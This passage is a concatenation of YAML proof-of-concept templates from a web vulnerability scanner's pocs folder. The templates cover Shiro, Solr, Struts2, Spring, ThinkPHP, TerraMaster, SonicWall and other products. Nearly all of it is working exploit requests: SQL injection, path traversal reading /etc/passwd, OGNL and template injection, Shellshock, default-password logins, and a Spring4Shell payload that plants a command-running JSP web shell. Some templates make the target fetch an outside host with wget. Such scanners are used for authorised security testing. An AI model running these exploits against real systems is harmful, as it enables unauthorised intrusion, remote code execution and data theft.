"QAk0rp8sG0uJC4Ke2baYNA==" - "Rb5RN+LofDWJlzWAwsXzxg==" - "s2SE9y32PvLeYo+VGFpcKA==" - "SrpFBcVD89eTQ2icOD0TMg==" - "U0hGX2d1bnMAAAAAAAAAAA==" - "Us0KvVhTeasAm43KFLAeng==" - "Ymx1ZXdoYWxlAAAAAAAAAA==" - "YWJjZGRjYmFhYmNkZGNiYQ==" - "zIiHplamyXlVB11UXWol8g==" - "ZjQyMTJiNTJhZGZmYjFjMQ==" mode: - "cbc" - "gcm" payload: - shirokey(key,mode) rules: - method: GET path: / follow_redirects: false headers: Cookie: JSESSIONID={{randstr}};rememberMe=login expression: | "Set-Cookie" in response.headers && (response.headers["Set-Cookie"].contains("rememberMe=") || response.headers["Set-Cookie"].contains("=deleteMe")) - method: GET path: / headers: Cookie: JSESSIONID={{randstr}};rememberMe={{payload}} follow_redirects: false expression: | !response.headers["Set-Cookie"].contains("rememberMe=") detail: author: shadown1ng(https://github.com/shadown1ng) ================================================ FILE: WebScan/pocs/shiziyu-cms-apicontroller-sqli.yml ================================================ name: poc-yaml-shiziyu-cms-apicontroller-sqli set: rand: randomInt(200000000, 210000000) rules: - method: GET path: /index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,md5({{rand}}),0x7e),1) expression: response.status == 404 && response.body.bcontains(bytes(substr(md5(string(rand)), 0, 31))) detail: author: sakura404x links: - https://blog.csdn.net/weixin_42633229/article/details/117070546 ================================================ FILE: WebScan/pocs/shopxo-cnvd-2021-15822.yml ================================================ name: poc-yaml-shopxo-cnvd-2021-15822 groups: Linux: - method: GET path: /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q= follow_redirects: false expression: | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) Windows: - method: GET path: /public/index.php?s=/index/qrcode/download/url/L1dpbmRvd3Mvd2luLmluaQ= follow_redirects: false expression: | response.status == 200 && response.body.bcontains(b"extensions") && response.body.bcontains(b"for 16-bit app support") detail: author: Print1n(http://print1n.top) description: ShopXO download 任意文件读取 links: - https://mp.weixin.qq.com/s/69cDWCDoVXRhehqaHPgYog ================================================ FILE: WebScan/pocs/showdoc-default-password.yml ================================================ name: poc-yaml-showdoc-default-password rules: - method: POST path: /server/index.php?s=/api/user/login body: username=showdoc&password=123456 follow_redirects: true expression: | response.status == 200 && response.body.bcontains(b"uid") && response.body.bcontains(b"groupid") && response.body.bcontains(b"user_token") detail: author: B1anda0(https://github.com/B1anda0) links: - https://blog.star7th.com/2016/05/2007.html ================================================ FILE: WebScan/pocs/showdoc-uploadfile.yml ================================================ name: poc-yaml-showdoc-uploadfile set: r1: randomLowercase(4) r2: randomLowercase(4) rules: - method: POST path: /index.php?s=/home/page/uploadImg headers: Content-Type: "multipart/form-data; boundary=--------------------------835846770881083140190633" follow_redirects: false body: "----------------------------835846770881083140190633\nContent-Disposition: form-data; name=\"editormd-image-file\"; filename=\"{{r1}}.<>php\"\nContent-Type: text/plain\n\n\n----------------------------835846770881083140190633--" expression: | response.status == 200 && response.body.bcontains(b"success") search: | (?P\d{4}-\d{2}-\d{2})\\/(?P[a-f0-9]+\.php) - method: GET path: /Public/Uploads/{{date}}/{{file}} follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(r2)) detail: author: White(https://github.com/WhiteHSBG) Affected Version: "showdoc <= 2.8.6" links: - https://github.com/star7th/showdoc/pull/1059 ================================================ FILE: WebScan/pocs/skywalking-cve-2020-9483-sqli.yml ================================================ name: poc-yaml-skywalking-cve-2020-9483-sqli set: r1: randomInt(10000, 99999) rules: - method: POST path: "/graphql" headers: Content-Type: application/json body: | {"query":"query SQLi($d: Duration!){globalP99:getLinearIntValues(metric: {name:\"all_p99\",id:\"') UNION SELECT 1,CONCAT('~','{{r1}}','~')-- \",}, duration: $d){values{value}}}","variables":{"d":{"start":"2021-11-11","end":"2021-11-12","step":"DAY"}}} expression: | response.status == 200 && response.body.bcontains(bytes("~" + string(r1) + "~")) detail: author: sndav(https://github.com/Sndav) links: - https://paper.seebug.org/1485/ ================================================ FILE: WebScan/pocs/solarwinds-cve-2020-10148.yml ================================================ name: poc-yaml-solarwinds-cve-2020-10148 set: r1: randomInt(800000000, 1000000000) rules: - method: GET path: /web.config.i18n.ashx?l=en-US&v={{r1}} expression: | response.status == 200 && response.body.bcontains(bytes("SolarWinds.Orion.Core.Common")) && response.body.bcontains(bytes("/Orion/NetPerfMon/TemplateSiblingIconUrl")) detail: author: su(https://suzzz112113.github.io/#blog) CVE: CVE-2020-10148 links: - https://kb.cert.org/vuls/id/843464 ================================================ FILE: WebScan/pocs/solr-cve-2017-12629-xxe.yml ================================================ name: poc-yaml-solr-cve-2017-12629-xxe set: reverse: newReverse() reverseURL: reverse.url rules: - method: GET path: "/solr/admin/cores?wt=json" expression: "true" search: | "name":"(?P[^"]+)", - method: GET path: /solr/{{core}}/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22{{reverseURL}}%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser follow_redirects: true expression: | reverse.wait(5) detail: author: sharecast links: - https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-XXE ================================================ FILE: WebScan/pocs/solr-cve-2019-0193.yml ================================================ name: poc-yaml-solr-cve-2019-0193 set: r1: randomInt(40000, 44800) r2: randomInt(40000, 44800) rules: - method: GET path: /solr/admin/cores?wt=json follow_redirects: false expression: response.status == 200 && response.body.bcontains(b"responseHeader") search: '"name":"(?P.*?)"' - method: POST path: >- /solr/{{core}}/dataimport?command=full-import&debug=true&wt=json&indent=true&verbose=false&clean=false&commit=false&optimize=false&dataConfig=%3CdataConfig%3E%0D%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22DEBUG%22%20%2F%3E%0D%0A%3Cscript%3E%3C!%5BCDATA%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20function%20execute(row)%20%20%20%20%7B%0D%0Arow.put(%22id%22,{{r1}}%2B{{r2}})%3B%0D%0Areturn%20row%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%5D%5D%3E%3C%2Fscript%3E%0D%0A%3Cdocument%3E%0D%0A%20%20%20%20%3Centity%0D%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0D%0A%20%20%20%20%20%20%20%20name%3D%22streamxml%22%0D%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0D%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0D%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0D%0A%20%20%20%20%20%20%20%20forEach%3D%22%2Fbooks%2Fbook%22%0D%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Aexecute%22%20%3E%0D%0A%09%09%09%3Cfield%20column%3D%22id%22%20name%3D%22id%22%2F%3E%0D%0A%20%20%20%20%3C%2Fentity%3E%0D%0A%3C%2Fdocument%3E%0D%0A%3C%2FdataConfig%3E headers: Content-Type: text/html body: |- follow_redirects: false expression: response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) detail: author: fnmsd(https://github.com/fnmsd) solr_version: '<8.1.12' vulnpath: '/solr/{{core}}/dataimport' description: 'Apache Solr DataImportHandler Remote Code Execution Vulnerability(CVE-2019-0193)' links: - https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193 ================================================ FILE: WebScan/pocs/solr-fileread.yml ================================================ name: poc-yaml-solr-fileread groups: linux: - method: GET path: "/solr/admin/cores?indexInfo=false&wt=json" expression: response.status == 200 && response.body.bcontains(b"responseHeader") search: >- "name":"(?P.+?)" - method: POST path: "/solr/{{core}}/config" body: | {"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}} expression: | response.body.bcontains(b"responseHeader") - method: POST path: "/solr/{{core}}/debug/dump?param=ContentStreams" headers: Content-Type: application/x-www-form-urlencoded body: | stream.url=file:///etc/passwd expression: | response.status == 200 && r'root:[x*]:0:0:'.bmatches(response.body) windows: - method: GET path: "/solr/admin/cores?indexInfo=false&wt=json" expression: "true" search: >- "name":"(?P.+?)" - method: POST path: "/solr/{{core}}/config" body: | {"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}} expression: | response.body.bcontains(b"responseHeader") - method: POST path: "/solr/{{core}}/debug/dump?param=ContentStreams" headers: Content-Type: application/x-www-form-urlencoded body: | stream.url=file:///c://windows/win.ini expression: | response.status == 200 && response.body.bcontains(b"for 16-bit app support") detail: author: whami-root(https://github.com/whami-root) links: - https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247484117&idx=1&sn=2fdab8cbe4b873f8dd8abb35d935d186 ================================================ FILE: WebScan/pocs/solr-velocity-template-rce.yml ================================================ name: poc-yaml-solr-velocity-template-rce set: r1: randomInt(20000, 40000) r2: randomInt(20000, 40000) rules: - method: GET path: "/solr/admin/cores?wt=json" follow_redirects: false expression: response.status == 200 && response.body.bcontains(b"responseHeader") search: | "name":"(?P[^"]+)" - method: POST path: >- /solr/{{core}}/config headers: Content-Type: application/json body: |- { "update-queryresponsewriter": { "startup": "test", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } } expression: response.status == 200 - method: GET path: "/solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set(%24c%3D{{r1}}%20*%20{{r2}})%24c" follow_redirects: false expression: response.body.bcontains(bytes(string(r1 * r2))) detail: author: Loneyer description: 'Apache Solr RCE via Velocity template' links: - https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt - https://cert.360.cn/warning/detail?id=fba518d5fc5c4ed4ebedff1dab24caf2 ================================================ FILE: WebScan/pocs/sonarqube-cve-2020-27986-unauth.yml ================================================ name: poc-yaml-sonarqube-cve-2020-27986-unauth rules: - method: GET path: "/api/settings/values" expression: | response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(bytes(string(b"sonaranalyzer-cs.nuget.packageVersion"))) && response.body.bcontains(bytes(string(b"sonar.core.id"))) detail: author: pa55w0rd(www.pa55w0rd.online/) Affected Version: "sonarqube < 8.4.2.36762" links: - https://nvd.nist.gov/vuln/detail/CVE-2020-27986 ================================================ FILE: WebScan/pocs/sonicwall-ssl-vpn-rce.yml ================================================ name: poc-yaml-sonicwall-ssl-vpn-rce set: r1: randomInt(40000, 44800) r2: randomInt(1140000, 1144800) rules: - method: GET path: /cgi-bin/jarrewrite.sh follow_redirects: false headers: X-Test: () { :; }; echo ; /bin/bash -c 'expr {{r1}} - {{r2}}' expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 - r2))) detail: author: sharecast links: - https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/ ================================================ FILE: WebScan/pocs/spark-api-unauth.yml ================================================ name: poc-yaml-spark-api-unauth rules: - method: GET path: /v1/submissions expression: | response.status == 400 && response.body.bcontains(b"Missing an action") && response.body.bcontains(b"serverSparkVersion") detail: author: betta(https://github.com/betta-cyber) links: - https://xz.aliyun.com/t/2490 ================================================ FILE: WebScan/pocs/spark-webui-unauth.yml ================================================ name: poc-yaml-spark-webui-unauth rules: - method: GET path: / expression: response.status == 200 && response.body.bcontains(b"Spark") && response.body.bcontains(b"<strong>URL:</strong> spark:") detail: links: - https://github.com/vulhub/vulhub/tree/master/spark/unacc ================================================ FILE: WebScan/pocs/spon-ip-intercom-ping-rce.yml ================================================ name: poc-yaml-spon-ip-intercom-ping-rce set: r1: randomLowercase(10) r2: randomLowercase(10) r3: randomLowercase(10) r4: randomLowercase(10) rules: - method: POST path: /php/ping.php headers: Content-Type: application/x-www-form-urlencoded; charset=UTF-8 body: | jsondata[ip]=%7C echo {{r1}}${{{r2}}}{{r3}}^{{r4}}&jsondata[type]=0 expression: response.status == 200 && (response.body.bcontains(bytes(r1 + r3 + "^" + r4)) || response.body.bcontains(bytes(r1 + "${" + r2 + "}" + r3 + r4))) detail: author: york links: - https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247486018&idx=1&sn=d744907475a4ea9ebeb26338c735e3e9 ================================================ FILE: WebScan/pocs/spring-actuator-heapdump-file.yml ================================================ name: poc-yaml-spring-actuator-heapdump-file rules: - method: HEAD path: /actuator/heapdump follow_redirects: true expression: | response.status == 200 && response.content_type.contains("application/octet-stream") detail: author: AgeloVito info: spring-actuator-heapdump-file links: - https://www.cnblogs.com/wyb628/p/8567610.html ================================================ FILE: WebScan/pocs/spring-cloud-cve-2020-5405.yml ================================================ name: poc-yaml-spring-cloud-cve-2020-5405 rules: - method: GET path: >- /a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/resolv.conf follow_redirects: true expression: | response.status == 200 && response.body.bcontains(bytes("This file is managed by man:systemd-resolved(8). Do not edit.")) detail: version: <= 2.1.6, 2.2.1 author: kingkk(https://www.kingkk.com/) links: - https://pivotal.io/security/cve-2020-5405 - https://github.com/spring-cloud/spring-cloud-config ================================================ FILE: WebScan/pocs/spring-cloud-cve-2020-5410.yml ================================================ name: poc-yaml-spring-cloud-cve-2020-5410 rules: - method: GET path: >- /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/a expression: | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) detail: author: Soveless(https://github.com/Soveless) Affected Version: "Spring Cloud Config 2.2.x < 2.2.3, 2.1.x < 2.1.9" links: - https://xz.aliyun.com/t/7877 ================================================ FILE: WebScan/pocs/spring-core-rce.yml ================================================ name: poc-yaml-spring-core-rce manual: true transport: http set: r1: randomInt(40000, 44800) rules: - method: POST path: / headers: suffix: "%>//" c1: "Runtime" c2: "<%" DNT: "1" Content-Type: "application/x-www-form-urlencoded" body: "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22data%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22word%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" follow_redirects: true expression: | response.status == 200 - method: GET path: /tomcatwar.jsp?data=j&word=echo%20{r1} follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(string(r1))) detail: author: marmot links: - https://github.com/Mr-xn/spring-core-rce ================================================ FILE: WebScan/pocs/spring-cve-2016-4977.yml ================================================ name: poc-yaml-spring-cve-2016-4977 set: r1: randomInt(40000, 44800) r2: randomInt(40000, 44800) rules: - method: GET path: /oauth/authorize?response_type=${{{r1}}*{{r2}}}&client_id=acme&scope=openid&redirect_uri=http://test follow_redirects: false expression: > response.body.bcontains(bytes(string(r1 * r2))) detail: Affected Version: "spring(2.0.0-2.0.9 1.0.0-1.0.5)" author: hanxiansheng26(https://github.com/hanxiansheng26) links: - https://github.com/vulhub/vulhub/tree/master/spring/CVE-2016-4977 ================================================ FILE: WebScan/pocs/springboot-cve-2021-21234.yml ================================================ name: poc-yaml-springboot-cve-2021-21234 groups: spring1: - method: GET path: /manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../ expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") && response.body.bcontains(b"fonts") && !response.body.bcontains(b"<html") spring2: - method: GET path: /log/view?filename=/windows/win.ini&base=../../../../../../../../../../ expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") && response.body.bcontains(b"fonts") && !response.body.bcontains(b"<html") spring3: - method: GET path: /manage/log/view?filename=/etc/hosts&base=../../../../../../../../../../ expression: response.status == 200 && response.body.bcontains(b"127.0.0.1") && response.body.bcontains(b"localhost") && !response.body.bcontains(b"<html") spring4: - method: GET path: /log/view?filename=/etc/hosts&base=../../../../../../../../../../ expression: response.status == 200 && response.body.bcontains(b"127.0.0.1") && response.body.bcontains(b"localhost") && !response.body.bcontains(b"<html") detail: author: iak3ec(https://github.com/nu0l) links: - https://mp.weixin.qq.com/s/ZwhBEz2ek26Zf3F-csoRgQ ================================================ FILE: WebScan/pocs/springboot-env-unauth.yml ================================================ name: poc-yaml-springboot-env-unauth groups: spring1: - method: GET path: /env expression: | response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"java.version") && response.body.bcontains(b"os.arch") spring2: - method: GET path: /actuator/env expression: | response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"java.version") && response.body.bcontains(b"os.arch") detail: links: - https://github.com/LandGrey/SpringBootVulExploit ================================================ FILE: WebScan/pocs/springcloud-cve-2019-3799.yml ================================================ name: poc-yaml-springcloud-cve-2019-3799 rules: - method: GET path: >- /test/pathtraversal/master/..%252F..%252F..%252F..%252F..%252F..%252Fetc%252fpasswd follow_redirects: true expression: | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) detail: version: <2.1.2, 2.0.4, 1.4.6 author: Loneyer links: - https://github.com/Loneyers/vuldocker/tree/master/spring/CVE-2019-3799 ================================================ FILE: WebScan/pocs/sql-file.yml ================================================ name: poc-yaml-sql-file set: host: request.url.domain sets: path: - "1.sql" - "backup.sql" - "database.sql" - "data.sql" - "db_backup.sql" - "dbdump.sql" - "db.sql" - "dump.sql" - "{{host}}.sql" - "{{host}}_db.sql" - "localhost.sql" - "mysqldump.sql" - "mysql.sql" - "site.sql" - "sql.sql" - "temp.sql" - "translate.sql" - "users.sql" rules: - method: GET path: /{{path}} follow_redirects: false continue: true expression: | "(?m)(?:DROP|CREATE|(?:UN)?LOCK) TABLE|INSERT INTO".bmatches(response.body) detail: author: shadown1ng(https://github.com/shadown1ng) ================================================ FILE: WebScan/pocs/struts2-045.yml ================================================ name: poc-yaml-struts2_045 set: r1: randomInt(800, 1000) r2: randomInt(800, 1000) groups: poc1: - method: GET path: / headers: Content-Type: ${#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("Keyvalue",{{r1}}*{{r2}})}.multipart/form-data follow_redirects: true expression: | "Keyvalue" in response.headers && response.headers["Keyvalue"].contains(string(r1 * r2)) poc2: - method: GET path: / headers: Content-Type: "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('struts2_security_')).(#res.getWriter().print('check')).(#res.getWriter().flush()).(#res.getWriter().close())}" follow_redirects: true expression: | response.body.bcontains(b"struts2_security_check") detail: author: shadown1ng(https://github.com/shadown1ng) ================================================ FILE: WebScan/pocs/struts2-046-1.yml ================================================ name: poc-yaml-struts2_046-1 set: r1: b"-----------------------------\r\nContent-Disposition:\x20form-data;\x20name=\"test\";\x20filename=\"%{(#_=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType(\'text/html;charset=UTF-8\')).(#res.getWriter().print(\'struts2_security_\')).(#res.getWriter().print(\'check\')).(#res.getWriter().flush()).(#res.getWriter().close())}\x00b\"\r\nContent-Type:\x20text/plain\r\n\r\n\r\n-----------------------------" rules: - method: POST path: / headers: Content-Type: multipart/form-data; boundary=--------------------------- follow_redirects: true body: | {{r1}} expression: | response.body.bcontains(b"struts2_security_check") detail: author: shadown1ng(https://github.com/shadown1ng) ================================================ FILE: WebScan/pocs/supervisord-cve-2017-11610.yml ================================================ name: poc-yaml-supervisord-cve-2017-11610 set: reverse: newReverse() reverseURL: reverse.url rules: - method: POST path: /RPC2 body: >- <?xml version="1.0"?> <methodCall> <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName> <params> <param> <string>wget {{reverseURL}}</string> </param> </params> </methodCall> follow_redirects: false expression: | response.status == 200 && reverse.wait(5) detail: author: Loneyer links: - https://github.com/vulhub/vulhub/tree/master/supervisor/CVE-2017-11610 ================================================ FILE: WebScan/pocs/swagger-ui-unauth.yml ================================================ name: poc-yaml-swagger-ui-unauth sets: path: - swagger/ui/index - swagger-ui.html - api/swagger-ui.html - service/swagger-ui.html - web/swagger-ui.html - swagger/swagger-ui.html - actuator/swagger-ui.html - libs/swagger-ui.html - template/swagger-ui.html - api_docs - api/docs/ - api/index.html - swagger/v1/swagger.yaml - swagger/v1/swagger.json - swagger.yaml - swagger.json - api-docs/swagger.yaml - api-docs/swagger.json rules: - method: GET path: /{{path}} expression: | response.status == 200 && (response.body.bcontains(b"Swagger UI") || response.body.bcontains(b"swagger-ui.min.js")|| response.body.bcontains(b'swagger:') || response.body.bcontains(b'swagger:') || response.body.bcontains(b'Swagger 2.0') || response.body.bcontains(b"\"swagger\":") ) detail: author: AgeloVito links: - https://blog.csdn.net/u012206617/article/details/109107210 ================================================ FILE: WebScan/pocs/tamronos-iptv-rce.yml ================================================ name: poc-yaml-tamronos-iptv-rce set: r1: randomInt(800000000, 1000000000) r2: randomInt(800000000, 1000000000) rules: - method: GET path: /api/ping?count=5&host=;echo%20$(expr%20{{r1}}%20%2b%20{{r2}}):{{r1}}:{{r1}};&port=80&source=1.1.1.1&type=icmp follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) detail: author: Print1n description: TamronOS IPTV系统存在前台命令执行漏洞 links: - https://print1n.top/post/Other/TamronOS_IPTV%E7%B3%BB%E7%BB%9F%E5%AD%98%E5%9C%A8%E5%89%8D%E5%8F%B0%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E ================================================ FILE: WebScan/pocs/telecom-gateway-default-password.yml ================================================ name: poc-yaml-telecom-gateway-default-password rules: - method: GET path: /manager/index.php follow_redirects: false expression: | response.status == 200 - method: POST path: /manager/login.php body: Name=admin&Pass=admin follow_redirects: true expression: | response.status == 200 && response.body.bcontains(b"<title>电信网关服务器管理后台") && response.body.bcontains(b"index-shang.php") && response.body.bcontains(b"di.php") detail: author: B1anda0(https://github.com/B1anda0) links: - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E7%94%B5%E4%BF%A1/%E7%94%B5%E4%BF%A1%E7%BD%91%E5%85%B3%E9%85%8D%E7%BD%AE%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md ================================================ FILE: WebScan/pocs/tensorboard-unauth.yml ================================================ name: poc-yaml-tensorboard-unauth rules: - method: GET path: / follow_redirects: true expression: > response.status == 200 && response.body.bcontains(b"The TensorFlow Authors. All Rights Reserved.") - method: GET path: '/data/plugins_listing' follow_redirects: true expression: | response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"profile") && response.body.bcontains(b"distributions") detail: author: p0wd3r links: - https://www.tensorflow.org/guide/summaries_and_tensorboard?hl=zh-CN ================================================ FILE: WebScan/pocs/terramaster-cve-2020-15568.yml ================================================ name: poc-yaml-terramaster-cve-2020-15568 set: r1: randomLowercase(10) r2: randomInt(800000000, 1000000000) r3: randomInt(800000000, 1000000000) rules: - method: GET path: /include/exportUser.php?type=3&cla=application&func=_exec&opt=(expr%20{{r2}}%20%2B%20{{r3}})%3E{{r1}} follow_redirects: false expression: | response.status == 200 - method: GET path: /include/{{r1}} expression: | response.status == 200 && response.body.bcontains(bytes(string(r2 + r3))) detail: author: albertchang Affected Version: "TOS version 4.1.24 and below" links: - https://ssd-disclosure.com/ssd-advisory-terramaster-os-exportuser-php-remote-code-execution/ ================================================ FILE: WebScan/pocs/terramaster-tos-rce-cve-2020-28188.yml ================================================ name: poc-yaml-terramaster-tos-rce-cve-2020-28188 set: r1: randomLowercase(10) rules: - method: GET path: /include/makecvs.php?Event=http|echo%20""%20>>%20/usr/www/{{r1}}.php%20&&%20chmod%20755%20/usr/www/{{r1}}.php|| follow_redirects: false expression: | response.status == 200 && response.content_type.contains("text/csv") && response.body.bcontains(bytes("Service,DateTime")) - method: GET path: /{{r1}}.php follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(md5(r1))) detail: author: Print1n links: - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202012-1548 ================================================ FILE: WebScan/pocs/thinkadmin-v6-readfile.yml ================================================ name: poc-yaml-thinkadmin-v6-readfile rules: - method: GET path: /admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b2x322s2t3c1a342w34 follow_redirects: true expression: | response.status == 200 && response.content_type.contains("json") && response.body.bcontains(bytes("PD9waH")) && response.body.bcontains(bytes("VGhpbmtBZG1pbg")) detail: author: 0x_zmz(github.com/0x-zmz) info: thinkadmin-v6-readfile By 0x_zmz links: - https://mp.weixin.qq.com/s/3t7r7FCirDEAsXcf2QMomw - https://github.com/0x-zmz ================================================ FILE: WebScan/pocs/thinkcmf-lfi.yml ================================================ name: poc-yaml-thinkcmf-lfi rules: - method: GET path: "/?a=display&templateFile=README.md" expression: | response.status == 200 && response.body.bcontains(bytes(string(b"ThinkCMF"))) && response.body.bcontains(bytes(string(b"## README"))) detail: author: JerryKing ThinkCMF: x1.6.0/x2.1.0/x2.2.0-2 links: - https://www.freebuf.com/vuls/217586.html ================================================ FILE: WebScan/pocs/thinkcmf-write-shell.yml ================================================ name: poc-yaml-thinkcmf-write-shell set: r: randomInt(10000, 20000) r1: randomInt(1000000000, 2000000000) rules: - method: GET path: "/index.php?a=fetch&content=%3C?php+file_put_contents(%22{{r}}.php%22,%22%3C?php+echo+{{r1}}%3B%22)%3B" expression: "true" - method: GET path: "/{{r}}.php" expression: | response.status == 200 && response.body.bcontains(bytes(string(r1))) detail: author: violin ThinkCMF: x1.6.0/x2.1.0/x2.2.0-2 links: - https://www.freebuf.com/vuls/217586.html ================================================ FILE: WebScan/pocs/thinkphp-v6-file-write.yml ================================================ name: poc-yaml-thinkphp-v6-file-write set: f1: randomInt(800000000, 900000000) rules: - method: GET path: /{{f1}}.php follow_redirects: true expression: | response.status == 404 - method: GET path: / headers: Cookie: PHPSESSID=../../../../public/{{f1}}.php follow_redirects: true expression: | response.status == 200 && "set-cookie" in response.headers && response.headers["set-cookie"].contains(string(f1)) - method: GET path: /{{f1}}.php follow_redirects: true expression: | response.status == 200 && response.content_type.contains("text/html") detail: author: Loneyer Affected Version: "Thinkphp 6.0.0" links: - https://github.com/Loneyers/ThinkPHP6_Anyfile_operation_write ================================================ FILE: WebScan/pocs/thinkphp5-controller-rce.yml ================================================ name: poc-yaml-thinkphp5-controller-rce rules: - method: GET path: /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=a29hbHIgaXMg%25%25d2F0Y2hpbmcgeW91 expression: | response.body.bcontains(b"a29hbHIgaXMg%d2F0Y2hpbmcgeW9129") detail: links: - https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce ================================================ FILE: WebScan/pocs/thinkphp5023-method-rce.yml ================================================ name: poc-yaml-thinkphp5023-method-rce groups: poc1: - method: POST path: /index.php?s=captcha headers: Content-Type: application/x-www-form-urlencoded body: | _method=__construct&filter[]=printf&method=GET&get[]=TmlnaHQgZ2F0aGVycywgYW5%25%25kIG5vdyBteSB3YXRjaCBiZWdpbnMu expression: | response.body.bcontains(b"TmlnaHQgZ2F0aGVycywgYW5%kIG5vdyBteSB3YXRjaCBiZWdpbnMu") poc2: - method: POST path: /index.php?s=captcha headers: Content-Type: application/x-www-form-urlencoded body: | _method=__construct&filter[]=printf&method=GET&server[REQUEST_METHOD]=TmlnaHQgZ2F0aGVycywgYW5%25%25kIG5vdyBteSB3YXRjaCBiZWdpbnMu&get[]=1 expression: | response.body.bcontains(b"TmlnaHQgZ2F0aGVycywgYW5%kIG5vdyBteSB3YXRjaCBiZWdpbnMu1") detail: links: - https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce ================================================ FILE: WebScan/pocs/tianqing-info-leak.yml ================================================ name: poc-yaml-tianqing-info-leak rules: - method: GET path: /api/dbstat/gettablessize expression: response.status == 200 && response.content_type.icontains("application/json") && 